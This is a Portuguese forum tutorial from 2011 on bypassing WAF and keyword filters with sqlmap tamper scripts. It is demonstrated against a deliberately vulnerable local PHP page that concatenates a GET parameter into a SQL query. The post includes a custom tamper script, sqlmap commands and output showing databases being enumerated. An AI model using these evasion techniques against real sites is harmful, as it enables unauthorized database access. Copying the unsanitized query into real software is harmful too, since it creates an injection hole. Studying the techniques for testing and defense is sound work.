Burlando WAFs com o sqlmap

Iniciado por Fvox, 26 de Outubro , 2011, 11:31:58 AM

tópico anterior - próximo tópico

0 Membros e 1 Visitante estão vendo este tópico.

Fvox

Hi.

Alguma vez na vida com certeza nos deparamos com programadores que tentam se proteger contra SQL Injection através de keywords. Acham que verificando se o parâmetro capturado do cliente contém alguma keyword SQL já estarão protegidos. Será mesmo que eles estarão certos? ;-)

Uma das features mais interessantes do magnífico projeto sqlmap são os tamper scripts. São scripts em Python que te possibilitam modificar o payload da forma que você preferir. Sendo assim, conseguimos automatizar a tarefa e burlar filtros de modo simples e rápido, sem perder qualquer utilidade oferecida pelo SQLMap.

Por default, o SQLMap já vem com uma gama de scripts que ficam dentro do diretório tamper/*.py. Todos os scripts vem bem comentados, o que facilita ainda mais o entendimento.

Nesta matéria, irei demonstrar um pouco do uso dos tamper scripts, desde o uso até a criação dos mesmos.





Para demonstração da matéria, criei um sistema de notícias simples apenas para testarmos os scripts de forma rápida e sem prejudicar ninguém.

Query executada pelo sistema de notícias:
<?php
$sql 
'SELECT * FROM noticias WHERE id = ' $_GET['id'];


Como vimos, não há tratamento nenhum. Apenas executamos diretamente no banco o parâmetro recebido do cliente pelo método GET.
Inserindo uma aspa simples, já conseguimos quebrar a query:

Citar127.0.0.1 - - [26/Oct/2011:09:59:28 -0200] "GET /news/?id=2' HTTP/1.1" 200 202

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''' at line 1


Agora, vamos inserir um filtro básico, parecido com o que alguns IDS utilizam.

<?php
if(preg_match('/\s/'$_GET['id']))
    die(
'Hacking Attempt');



Isso verificaria se há espaços no parâmetro GET antes de enviar a consulta. O sqlmap por default adiciona vários. Poxa, vou ter que explorar isso na mão?

Citar:~/sqlmap-dev$ python sqlmap.py -o -u "http://localhost/news/?id=2" --dbs
[...]
[10:09:12] [WARNING] GET parameter 'id' is not injectable
[10:09:12] [CRITICAL] all parameters appear to be not injectable. Try to increase --level/--risk values to perform more tests. Also, you can try to rerun by providing either a valid --string or a valid --regexp, refer to the user's manual for details


Consigo burlar isso manualmente substituindo os espaços para /**/ na query. Mas o sqlmap não faz isso... Oh, wait! Faz sim.

Citar:~/sqlmap-dev$ python sqlmap.py --tamper "tamper/space2comment.py" -o -u "http://localhost/news/?id=2" --dbs
[...]
[10:11:53] [INFO] loading tamper script 'space2comment'
[...]
GET parameter 'id' is vulnerable. Do you want to keep testing the others? [y/N] n
[...]
[10:12:10] [INFO] fetching database names
[10:12:10] [INFO] the SQL query used returns 7 entries


Porém, WAFs ou aplicativos de routes como o mod_rewrite bloqueiam quaisquer tentativa de inserção de "/**/" ou "+" vindos do cliente. E agora, fvox? :O

Para burlar isso, podemos utilizar "" ao invés dos "/**/". Mas o space2comment.py não faz isso automaticamente.
Vamos melhorar esse filtro pra ver na prática...

<?php
if(preg_match('/(\s|\/\*\*\/|\+)/'$_GET['id']))
    die(
'Hacking Attempt');



É, já não funciona mais...
Citar[10:30:11] [INFO] loading tamper script 'space2plus'
[10:30:13] [WARNING] GET parameter 'id' is not injectable

Triste, né?
Mas vamos criar nosso próprio script para fazer o replace...

#!/usr/bin/env python

from lib.core.enums import PRIORITY

__priority__ = PRIORITY.LOWEST

def dependencies():
    pass

def tamper(payload):
    if payload:
        payload = payload.replace("/**/", "");
        payload = payload.replace("+", "");
    return payload


Simples, não é mesmo?
Será que funciona?

Citar:~/sqlmap-dev$ python sqlmap.py --tamper "tamper/space2plus.py,tamper/fvox.py" -o -u "http://localhost/news/?id=2" --dbs
[...]
[10:31:50] [INFO] loading tamper script 'space2plus'
[10:31:50] [INFO] loading tamper script 'fvox'
[...]
[10:31:51] [INFO] GET parameter 'id' is 'AND boolean-based blind - WHERE or HAVING clause' injectable
[...]
[10:31:51] [INFO] GET parameter 'id' is 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause' injectable
[...]
[10:32:01] [INFO] GET parameter 'id' is 'MySQL > 5.0.11 AND time-based blind' injectable
[...]
GET parameter 'id' is vulnerable. Do you want to keep testing the others? [y/N] n
[...]
[10:32:30] [INFO] fetching database names
[10:32:30] [INFO] the SQL query used returns 7 entries


É, conseguimos! ;-)

Por enquanto é isso aí.
Bons estudos!


Referência: http://unsecurity.com.br/burlando-wafs-com-o-sqlmap/

[]'s
"Achas que estás caindo na insanidade? Mergulhe."